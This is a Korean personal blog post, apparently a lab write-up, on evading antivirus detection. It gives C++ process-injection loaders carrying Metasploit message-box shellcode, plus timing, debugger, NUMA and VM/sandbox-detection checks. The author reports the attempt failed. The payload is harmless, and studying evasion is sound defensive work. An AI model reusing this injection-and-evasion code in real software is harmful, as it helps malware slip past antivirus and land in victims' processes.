참고: https://cocomelonc.github.io/
AV 엔진 우회 2
실습환경
Windows 10 Home 21H2, VMware® Workstation 16 Pro 16.2.3, 가상머신 내 kali-linux-2022.1, 가상머신 내 Windows 10 Home 21H2 2GB 2CORE
무슨 트릭을 써 볼 것이냐면..
AV 엔진이 스캔을 할 때 제한적으로 주어진 "시간"에 대한 트릭이다.
시스템을 검사하는 동안 AV엔진은 많은 파일을 분석하는데.. 특별한 것에 엄청난 시간을 쏟을 수 없음.
AV엔진 우회 1에서처럼 페이로드를 암호화하는 것 외에 AV엔진의 탐지를 피하는 고전직인 방법 중 하나이다.
=> 100MB 메모리를 할당하고 Wirte.
1. metasploit으로 쉘코드 만들기
- kali > terminal > msfconsole 입력 > show payloads.입력 > 수많은 친구들 중 windows/x64/messageBox 찾기.
- use windows/x64/messageBox입력
- set TEXT "텍스트 입력"
- set TITLE "메세지박스 상단 텍스트 입력"
- generate로 생성
2. 오리지널 hack.cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
int main(int argc, char* argv[]) {
// messageBox Custom
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e"
"\x4c\x8d\x85\x1d\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff"
"\xd5\x59\x6f\x75\x20\x4a\x75\x73\x74\x20\x41\x63\x74\x69"
"\x76\x61\x74\x65\x20\x4d\x79\x20\x54\x72\x61\x70\x20\x43"
"\x61\x72\x64\x00\x48\x49\x48\x49\x00";
HANDLE ph;
HANDLE rt;
PVOID rb;
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
rb = VirtualAllocEx(ph, NULL, sizeof(my_payload), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, my_payload, sizeof(my_payload), NULL);
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);
return 0;
}
3. hack.cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
int main(int argc, char* argv[]) {
// messageBox Custom
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e"
"\x4c\x8d\x85\x1d\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff"
"\xd5\x59\x6f\x75\x20\x4a\x75\x73\x74\x20\x41\x63\x74\x69"
"\x76\x61\x74\x65\x20\x4d\x79\x20\x54\x72\x61\x70\x20\x43"
"\x61\x72\x64\x00\x48\x49\x48\x49\x00";
HANDLE ph;
HANDLE rt;
PVOID rb;
DWORD pid;
pid = atoi(argv[1]);
//100MB의 메모리를 할당한 후 0으로 채운다.
char* mem = NULL;
mem = (char*)malloc(100000000); //void* malloc(size_t size)
if (mem != NULL) {
memset(mem, 00, 100000000);
free(mem);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
printf("PID: %i", pid);
rb = VirtualAllocEx(ph, NULL, sizeof(my_payload), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, my_payload, sizeof(my_payload), NULL);
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);
return 0;
}
}
4. 컴파일
결과
original_hack.cpp와 hack.cpp의 차이
- 메모리 할당 부분
- mem < malloc 100MB
- 나머지는 그냥 같은 기능임.
VirusTotal에서의 original과 hack의 차이
고작 하나의 AV엔진이 줄었다.
시도 1. 100MB 에서 10GB로 증가시켜서 할당.
시도2. 가상 에뮬레이트 환경 탐지.
AV 엔진에 의해 가상화 환경이 에뮬레이트되어 그 안에서 실행되는 경우를 탐지한다.
요즘 PC는 최소 2코어에 2GB 램은 가지고 있으니.. 그보다 작으면 VM환경이라고 취급하고 return -2
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
//함수포인터. LPVOLID 타입의 WINAPI함수를 가리키는 포인터 pVirtualAllocExNuma.
//pVirtualAllocExNuma를 타입으로 변수 선언 시 WINAPI 함수의 주소를 넘겨줄 수 있음. (함수이름 = 함수주소)
typedef LPVOID(WINAPI* pVirtualAllocExNuma) (
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect,
DWORD nndPreferred
); //얘네들이 멤버가 아니라 매개변수임. typedef 타입(포인터)(매개변수,매개변수,매개변수 ....)
// checkNUMA 함수: PC에서는 메모리 할당이 정상적으로 이루어지지만.. AV 에뮬레이터(VM환경)에서는 fail.
BOOL checkNUMA() {
LPVOID mem = NULL;
pVirtualAllocExNuma myVirtualAllocExNuma = (pVirtualAllocExNuma)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocExNuma");
mem = myVirtualAllocExNuma(GetCurrentProcess(), NULL, 1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);
if (mem != NULL) { // VirtualAllocExNuma() 함수 성공했을 때. 이때 mem= 할당된 영역의 메모리 베이스 주소
return false;
}
else { // VirtualAllocExNuma() 함수 호출이 실패. null
return true;
}
}
// checkResources 함수: 현재 RAM, core(processor)을 알아낸 후 그 수가 2보다 작으면 false 반환. 왜냐면 요즘 컴퓨터는 최소 2GB램에 2코어는 가짐.
// 즉, 램이 2GB 이하거나 코어가 2개 미만이거나 하면 가상환경으로 취급한다는 것.
BOOL checkResources() {
SYSTEM_INFO s; //현재 컴퓨터 시스템에 대한 정보
MEMORYSTATUSEX ms; //확장 메모리를 포함한.. 물리적 메모리와 가상 메모리의 현재 상태에 대한 정보를 포함
DWORD procNum;
DWORD ram;
// check number of processors
GetSystemInfo(&s); //현재 시스템에 대한 정보 검색
procNum = s.dwNumberOfProcessors; //
if (procNum < 2) return false;
// check RAM
ms.dwLength = sizeof(ms);
GlobalMemoryStatusEx(&ms);
ram = ms.ullTotalPhys / 1024 / 1024 / 1024; //실제 물리적 메모리의 크기(byte단위) / 1024 /1024 /1024
if (ram < 2) return false;
return true;
}
int main(int argc, char* argv[]) {
// messageBox Custom
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e"
"\x4c\x8d\x85\x1d\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff"
"\xd5\x59\x6f\x75\x20\x4a\x75\x73\x74\x20\x41\x63\x74\x69"
"\x76\x61\x74\x65\x20\x4d\x79\x20\x54\x72\x61\x70\x20\x43"
"\x61\x72\x64\x00\x48\x49\x48\x49\x00";
HANDLE ph;
HANDLE rt;
PVOID rb;
DWORD pid;
pid = atoi(argv[1]);
// AV엔진에 의해 에뮬레이트된 환경에서 해당 코드 실행 시, 첫 번째 인수가 파일명(hack_2.exe)이 아니게 됨. 이것을 체크한다.
if (strstr(argv[0], "hack_2.exe") == NULL) {
printf("날 실행한 프로세스의 이름은 무엇인가?.. hack_2.exe은 아닌데 뭐지? :(\n");
return -2;
}
// 현재 디버거와 연결되어 있는 상태인지 IsDebuggerPresent() 함수를 통해 OS에 물어보는 것.
if (IsDebuggerPresent()) { // 해당함수는 기본적으로 PEB에서 BeingDebugged 플래그를 확인함.
printf("나 디버거에 붙어있냐? :(\n");
return -2;
}
// NUMA 메모리를 체크.
if (checkNUMA()) {
printf("NUMA 메모리 할당 실패 :( \n");
return -2;
}
// check resources
if (checkResources() == false) {
printf("아무리 봐도 여긴 가상환경이야 :(\n");
return -2;
}
//100MB의 메모리를 할당한 후 0으로 채운다.
char* mem = NULL;
mem = (char*)malloc(100000000); //void* malloc(size_t size)
if (mem != NULL) {
memset(mem, 14, 100000000);
free(mem);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
printf("PID: %i", pid);
rb = VirtualAllocEx(ph, NULL, sizeof(my_payload), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, my_payload, sizeof(my_payload), NULL);
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);
return 0;
}
}
VirtualAllocExNuma() 함수
- 지정된 프로세스의 가상 주소 공간 내에서 메모리 영역의 상태를 RESERVE·COMMIT.
- 애플리케이션에서 메모리 할당에 대한 기본 노드를 지정할 수 있음. (물리적 메모리의 NUMA 노드를 지정)
- 물리적 CPU가 두 개 이상인 시스템의 경우, VirtualAllocEx() 대신 사용
- VirtualAllocEx()와의 차이점은 마지막 매개변수인 nndPreferred.
※ nndPreferred: 물리적 메모리가 있어야 하는 NUMA 노드. 새 VA 영역(커밋 또는 예약됨)을 할당할 때만 사용.
API가 이미 존재하는 영역에서 페이지를 커밋하는 데 사용될 때 이 매개 변수는 무시된다.
// 메모리 동적 할당
// 반환값: 할당된영역의 메모리 페이지 베이스 주소, 실패시엔 NULL
LPVOID VirtualAllocExNuma(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect,
DWORD nndPreferred //물리적 메모리가 필요한 NUMA 노드.
);
NUMA NODE
- Numa는 간단하게 CPU와 메모리가 한 Set를 이루는 것
- 프로세서와 메모리가 하나의 그룹을 이루며 각 그룹은 Numa Node라고 불린다.
- NUMA 시스템에서는 프로세서(CPU)를 몇 개의 그룹으로 나누고, 각 그룹에게 별도의 지역 메모리를 할당해준다.
SYSTEM_INFO 구조체
typedef struct _SYSTEM_INFO {
union {
DWORD dwOemId;
struct {
WORD wProcessorArchitecture;
WORD wReserved;
} DUMMYSTRUCTNAME;
} DUMMYUNIONNAME;
DWORD dwPageSize;
LPVOID lpMinimumApplicationAddress;
LPVOID lpMaximumApplicationAddress;
DWORD_PTR dwActiveProcessorMask;
DWORD dwNumberOfProcessors; // 현재 그룹의 논리프로세서 수.
DWORD dwProcessorType;
DWORD dwAllocationGranularity;
WORD wProcessorLevel;
WORD wProcessorRevision;
} SYSTEM_INFO, *LPSYSTEM_INFO;
MEMORYSTATUSEX 구조체
typedef struct _MEMORYSTATUSEX {
DWORD dwLength; //구조체의 크기(byte)
DWORD dwMemoryLoad;
DWORDLONG ullTotalPhys; //실제 물리적 메모리의 양(byte)
DWORDLONG ullAvailPhys;
DWORDLONG ullTotalPageFile;
DWORDLONG ullAvailPageFile;
DWORDLONG ullTotalVirtual;
DWORDLONG ullAvailVirtual;
DWORDLONG ullAvailExtendedVirtual;
} MEMORYSTATUSEX, *LPMEMORYSTATUSEX;
GlobalMemoryStatusEx(): 메모리 사용량 측정. 시스템의 현재 물리적 메모리 및 가상 메모리 사용에 대한 정보를 검색
BOOL GlobalMemoryStatusEx(
LPMEMORYSTATUSEX lpBuffer
);
※ ullTotalPhys를 통해 실제 물리적 메모리의 크기(byte단위)를 구해서 / 1024 /1024 /1024 하는 이유
EX. 본인 컴퓨터 16GB. byte단위로 바꾸면 16000000000 byte이다. 여기서 1024로 세번 나누면 16이 됨.
RAM의 용량을 확인하기 위한 연산과정이라고 생각하자.
결과
① 본인 PC에서 실행한 경우
② 가상환경에서 실행한 경우
마지막 체크함수인 checkResources()에서 false가 나왔기에 저런 문구가 뜬 것.
그러니까..다른 조건은 다 ㅇㅋ된거지.
- 그냥 vmware에서 hack_2.exe 실행했기에 실행 파일명도 패스.
- 디버거에 연결된 상태 아니니까 패스
- NUMA 메모리 체크했을 때 메모리 할당에 실패하지 않았음. AV에뮬레이터가 아니라 일반 Vmware 환경이라서 그런가?
- 그러나 checkResources() 함수의 조건에서.. 2GB/2코어 조건 충족 못해서 저런 문구 뜨고 종료된 것.
아니 늘었잖아~~~~~~~~~~~ 이게 무슨일이야
실패!
그래도 재미있는 경험이었다.^^
'System > TTPs' 카테고리의 다른 글
2. DLL Hijacking (0) | 2023.03.29 |
---|---|
1. Process Hollowing이란? (0) | 2023.03.29 |
UAC bypass 실습하다가 컴날림 (1) | 2022.07.15 |
VM 엔진 우회 실습 1 (0) | 2022.04.28 |
AV 엔진 우회 실습 1 (0) | 2022.04.26 |